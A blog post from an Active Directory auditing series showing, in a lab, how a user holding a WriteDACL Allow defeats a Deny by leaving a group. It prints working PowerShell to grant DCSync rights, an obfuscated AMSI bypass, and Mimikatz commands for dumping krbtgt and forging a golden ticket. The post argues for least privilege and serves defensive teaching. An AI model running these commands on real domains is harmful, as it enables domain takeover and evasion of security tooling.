TL;DR Lab scenario showing why using Deny ACLs IOT attempt to negate an Allow elsewhere is a bad idea. Fix the original Allow statement!
Background
Welcome to part VI of our Auditing AD series.
Part I: 3 warm up questions to get us started
Part II: Who can reset the CISO’s password?
Part III: Who can execute DCSync?
Part IV: Who can modify the Domain Admins group?
Part V: Domain dominance in minutes via ACL abuse (i.e. why auditing AD matters)
Part VI: Why Allow statements matter a LOT more than Deny ones
Part VII: Sneaky persistence via hidden objects in AD
Part VIII: SDDL, what is it, does it matter?
Part IX: Do you know who owns your domain?
Part X: Who can push ransomware via Group Policy?
Part XI: Free ways to simplify auditing AD
Part XII: Sidenote on arcane rights like Self
Part XIII: Sidenote on the ScriptPath right
Part XIV: Self & so called “Effective Permissions”
Part XV: Inheritance Explained & an Example
Part XVI: Summary of our Auditing AD Series
Annex A: Scrubbing Group Policy for local admins
Annex B: What Property Sets in AD are, & why they matter
Annex C: Dangerous Rights & RE GUIDs Cheatsheet
Annex D: Mishky’s Blue Team Auditor
Annex E: Even ChatGPT gets this stuff wrong
Annex F: Get-ADPermission Cheatsheet
Annex G: Mishky’s Red Team Enumerate & Attack tools
Lab Setup
In Part V we saw how a Contractor who was explicitly denied the right to do an action in AD was still able to do so by pivoting through two other user accounts. They used BloodHound to visualize the path they needed to take and PowerShell to execute the attack, although PowerView works well for both tasks as well. This attack worked because rather than setup a clean AD hierarchy and follow best practices this fictional organization is running a very sloppy AD and using band aid fixes.
In this scenario we are looking at just one user account. No pivoting is involved. No compromise of any other accounts or workstations is involved. Our attacker will merely take advantage of the fact that putting an Allow on one group and a Deny on another does not work very well in practice.
As before in this series, we are using a pre-built VM and its AD structure. The VM can be downloaded here. (I made a few changes such as adding a group named RDP users and using Group Policy IOT set domain workstations to allow this group remote access. This lab is run in the free version of ESXi and RDP is a much nicer way to use the VMs vs a web browser.)
The Scenario
The vendor who was kind enough to provide this VM stated here:
“Select any existing user account from amongst the 1000+ domain user accounts in the VM and simply add this account to the IT Security Incident Response Team.
When you do so, you’ll find that this account will be able to instantly use Mimikatz DCsync against this domain!
Next, take the same account and this time around, also add it to the Contractors team.
When you do so, you’ll find that the account will no longer be able to use Mimikatz DCSync against this domain!
When you add the account to the IT Security Incident Response Team, it ends up effectively getting both the extended rights needed to replicate secrets from Active Directory. Next, when you add the account to the Contractors team, it ends up being denied this very access, because the Contractors team is denied this access, so the explicit deny will override the explicit allow.”
I already had a user account hanging around from previous lab exercises, appropriately named ‘Malicious Insider’, with SamAccountName ‘Insider’. I simply did exactly what the vendor said and added this user to both groups.
The Question
So, our malicious insider cannot execute DCSync, grab the krbtgt hash, forge a ticket, and take whatever action they want in the domain? Right?
Or can they …
Why Allow statements in ACLs matter more than Deny ones
Our insider knows that they are in two groups. They poked around on Google and quickly found the syntax to enumerate privileges in AD.
Notice anything interesting here?
As we saw earlier in this series, WriteDACL gives someone the privilege to simply change the ACL and give themselves whatever rights they want. Our insider is in 2 groups. One has WriteDACL = Allow, one has WriteDACL = Deny. The Deny statement takes precedence, and Malicious Insider is denied privileges to change the ACL.
So everything is good right? Right?
Well, not really. Our insider is malicious after all, and they know how to Google.
$root = (Get-ADDomain).DistinguishedName(Get-Acl (Get-ADOrganizationalUnit “ou=Global,$root”)).Access | Where-Object {($_.IdentityReference -like “*IT Security Incident Response Team*”) -or ($_.IdentityReference -like “*Contractors*”)}
Notice anything here?
Insider did.
(Get-Acl (Get-ADGroup “Contractors”).DistinguishedName).Access | Where-Object {($_.IdentityReference -like “*IT Security Incident Response Team*”) -or ($_.IdentityReference -like “*Contractors*”)
whoami
(Get-ADUser $env:USERNAME -Properties *).MemberOf | Format-List
Remove-ADGroupMember -Identity “Contractors” -Members Insider
(Get-ADUser $env:USERNAME -Properties *).MemberOf | Format-List
Now they give themselves rights:
$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity Insider).SID$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”ALLOW”,([GUID](“1131f6ad-9c07–11d1-f79f-00c04fc2dcd2”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”ALLOW”,([GUID](“1131f6aa-9c07–11d1-f79f-00c04fc2dcd2”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl
Then they execute DCSync:
#AMSI Bypass, dump krbtgt, forge a ticket
S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f(‘Uti’+’l’),’A’,(‘Am’+’si’),(‘.Man’+’age’+’men’+’t.’),(‘u’+’to’+’mation.’),’s’,(‘Syst’+’em’) ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f(‘a’+’msi’),’d’,(‘I’+’nitF’+’aile’) ),( “{2}{4}{0}{1}{3}” -f (‘S’+’tat’),’i’,(‘Non’+’Publ’+’i’),’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )Import-Module C:\Temp\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command ‘“lsadump::dcsync /user:corp\krbtgt”’Invoke-Mimikatz -Command ‘“kerberos::golden /User:Administrator /domain:corp.local /sid:S-1–5–21–1917967189–4054103991–136247481 /krbtgt:cb542d2484aae7b5156c9a1a7bbb31e7 id:500 /ticket:forged.kirbi”’Invoke-Mimikatz -Command ‘“kerberos::ptt forged.kirbi”’
No, no we were not good. Our insider defeated our duct tape fix by removing themselves from a group. Yeah …
Note; details of enumerating the rights required to execute DCSync are here and details of how to forge a ticket after executing DCSync are here.
They can now take whatever nefarious action they had planned as the Administrator account, or any other account they wish to impersonate.
Wait, what just happened!?
The attacker noticed that they have WriteDACL and WriteProperty with ObjectType all 0s on the domain root and it’s inheriting on down. They checked the Global OU and saw the same rights. This fictional org’s AD was setup so sloppily that privileged users & groups are mixed into that OU along with Domain Users.
Therefore the attacker can simply remove themselves from the Contractors group. Once they do that they are left with WriteDACL on the domain root and the Deny on the Contractors group no longer applies to them.
They then give themselves the two specific ExtendedRights necessary and execute DCSync.
Summary
I would not rely on band aid fixes like putting in Deny statements instead of just fixing [removing] the Allow one. If a group should not have a certain privilege then remove it. If the group is fine but a certain user should not have a certain privilege then don’t put them in that group.
This is least privilege 101 stuff. The hard part is taking care of years of Misconfiguration Debt and making the necessary changes.
There is much more to fix in this lab environment like not using the builtin Administrator account, not using builtin groups at all, using separate privileged user accounts entirely rather than giving additional privileges to regular user accounts, and many other best practices. Sean Metcalf has already done a great job of outlining these, not to mention outlining how to audit ACLs. This entire series has really been taking his advice, applying it in the lab to a pre-built domain environment from a vendor, and learning how to audit a very messy AD.
References:
https://blog.paramountdefenses.com/2020/07/how-to-mitigate-risk-of-mimikatz-dcsync.html
https://www.active-directory-security.com/2017/07/active-directory-effective-permissions.html
https://www.active-directory-security.com/2017/02/adminsdholder.html
https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/
https://www.shellandco.net/playing-acl-active-directory-objects/
http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm
https://www.netwrix.com/netwrix_effective_permissions_reporting_tool.html